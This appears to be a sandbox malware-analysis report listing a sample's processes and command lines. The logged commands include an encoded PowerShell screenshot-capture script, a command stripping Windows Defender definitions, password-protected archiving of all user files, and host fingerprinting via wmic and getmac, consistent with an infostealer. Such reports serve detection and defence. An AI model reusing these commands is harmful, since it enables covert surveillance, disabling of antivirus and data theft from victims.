Commandline:	C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
Imagebase:	0x7ff613350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	13:44:10
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	13:44:10
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	13:44:10
Start date:	23/11/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff6934b0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	13:44:10
Start date:	23/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	13:44:12
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff613350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8412, Parent PID: 8396

General

Target ID:	44
Start time:	13:44:12
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	13:44:12
Start date:	23/11/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff6934b0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	13:44:13
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "getmac"
Imagebase:	0x7ff613350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	13:44:13
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	13:44:13
Start date:	23/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.cmdline"
Imagebase:	0x7ff64a840000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	13:44:13
Start date:	23/11/2024
Path:	C:\Windows\System32\getmac.exe
Wow64 process (32bit):	false
Commandline:	getmac
Imagebase:	0x7ff637e50000
File size:	90'112 bytes
MD5 hash:	7D4B72DFF5B8E98DD1351A401E402C33
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	13:44:13
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff613350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8616, Parent PID: 8600

General

Target ID:	51
Start time:	13:44:13
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	13:44:14
Start date:	23/11/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff6934b0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	13:44:14
Start date:	23/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES74CA.tmp" "c:\Users\user\AppData\Local\Temp\bcdu5fii\CSC91B7380AF2C2414A909984B12C6688DE.TMP"
Imagebase:	0x7ff66c690000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	13:44:15
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff613350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8788, Parent PID: 8772

General

Target ID:	55
Start time:	13:44:15
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	13:44:15
Start date:	23/11/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff6934b0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	13:44:15
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff613350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8864, Parent PID: 8852

General

Target ID:	58
Start time:	13:44:15
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	13:44:15
Start date:	23/11/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff6934b0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	13:44:24
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe a -r -hp"blank" "C:\Users\user\AppData\Local\Temp\DBdXv.zip" *"
Imagebase:	0x7ff613350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	13:44:24
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	13:44:24
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe a -r -hp"blank" "C:\Users\user\AppData\Local\Temp\DBdXv.zip" *
Imagebase:	0x7ff69a3e0000
File size:	630'736 bytes
MD5 hash:	9C223575AE5B9544BC3D69AC6364F75E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	13:44:26
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Imagebase:	0x7ff613350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	13:44:26
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	13:44:26
Start date:	23/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic os get Caption
Imagebase:	0x7ff65aee0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	13:44:26
Start date:	23/11/2024
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Imagebase:	0x7ff7332e0000
File size:	468'120 bytes
MD5 hash:	B3676839B2EE96983F9ED735CD044159
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	13:44:27
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Imagebase:	0x7ff613350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	13:44:27
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	13:44:27
Start date:	23/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic computersystem get totalphysicalmemory
Imagebase:	0x7ff65aee0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	13:44:28
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff613350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	13:44:28
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	13:44:28
Start date:	23/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff65aee0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	13:44:29
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Imagebase:	0x7ff613350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	13:44:29
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

